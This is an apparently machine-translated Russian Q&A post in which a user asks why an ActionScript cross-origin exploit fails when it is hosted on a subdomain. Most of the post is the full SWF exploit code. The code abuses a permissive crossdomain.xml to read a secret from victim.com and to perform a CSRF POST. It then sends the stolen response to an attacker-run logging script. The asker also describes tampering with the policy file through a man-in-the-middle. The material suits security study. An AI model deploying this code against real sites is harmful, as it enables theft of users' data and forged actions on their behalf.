Несоответствие в выполнении запросов Cross Origin с использованием Actionscript - PullRequest
0 голосов
/ 04 октября 2019

Я использую SWF-файл, сгенерированный из следующего сценария действия, для выполнения вызовов из разных источников из SWF-файла, размещенного на http://something.subdomain.victim.com:8000/ до http://victim.com/a?secret=test.

https://victim.com, имеет разрешающий междоменный домен.xml в https://victim.com/crossdomain.xml, как указано ниже.

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy 
  SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
  <allow-access-from domain="*.victim.com" />
</cross-domain-policy>

Action Script

// Adaptation of an exploit by John M as defined in 
// https://medium.com/@x41x41x41/exploiting-crossdomain-xml-missconfigurations-3c8d407d05a8
// PHP serverside is replaced with a simpler python cgi. Thanks to trustedsec

package {
 import flash.display.Sprite;
 import flash.events.*;
 import flash.net.URLRequestMethod;
 import flash.net.URLRequest;
 import flash.net.URLVariables;
 import flash.net.URLLoader;
 import flash.net.URLLoaderDataFormat;

 public class crossDomain extends Sprite {
  public function crossDomain() {

   // Fetching secret.

   var firstrequest:URLRequest = new URLRequest("https://victim.com/a?secret=test");
   var firstloader:URLLoader = new URLLoader();
   firstloader.addEventListener(Event.COMPLETE, completeHandler);
   try {
    firstloader.load(firstrequest);
   } catch (error: Error) {
    trace("Unable to load URL: " + error);
   }

   // Performing CSRF with a POST 

   var secondvariables:URLVariables = new URLVariables("a=test1&b=test2&c=test3&final=nothing");
   var secondrequest:URLRequest = new URLRequest("http://victim.com/someaction.html");
   secondrequest.method = URLRequestMethod.POST;
   secondrequest.data = secondvariables;
   var secondloader:URLLoader = new URLLoader();
   secondloader.dataFormat = URLLoaderDataFormat.VARIABLES;
   try {
    secondloader.load(secondrequest);
   } catch (error: Error) {
    trace("Unable to load URL");
   }

  }

  private function completeHandler(event: Event): void {

   // Retreiving the HTTP responses to attacker server.

   var request:URLRequest = new URLRequest("http://something.subdomain.victim.com:8000/cgi-bin/postlogger.py");
   var variables:URLVariables = new URLVariables();
   variables.data = event.target.data;
   request.method = URLRequestMethod.POST;
   request.data = variables;
   var loader:URLLoader = new URLLoader();
   try {
    loader.load(request);
   } catch (error: Error) {
    trace("Unable to load URL");
   }
  }
 }
}
  1. Я протестировал этот код локально, настроив localhost как источник жертвы, который служит подстановочным знаком crossdomain.xml [<allow-access-from domain="*" />]
  2. 127.0.0.1 в качестве источника атакующего, который служит crossDomain.swf
  3. SWF-файл работал точно так же, как и для запроса crossdomain.xml сначала следуют вызовы к двум URL-адресам в источнике localhost , определенном в ActionScript.
  4. Однако при размещении этого на http://something.subdomain.victim.com:8000, первый шаг, когда он получает междоменный домен.xml от https://victim.com/crossdomain.xml происходит. Однако дальнейших запросов нет.
  5. Чтобы убедиться, что это не проблема междоменной политики. Я сделал Man-In-The-Middle и заменил <allow-access-from domain="*.victim.com" /> на <allow-access-from domain="*" />.
  6. Так что на данном этапе, что касается браузера, crossdomainxml для жертвы.com - это *. Еще больше запросов не происходит.

Я не могу найти потенциальную причину этого запутанного поведения. Я Noob ActionScript. Любые указатели на то, почему это происходит, будут высоко оценены.

...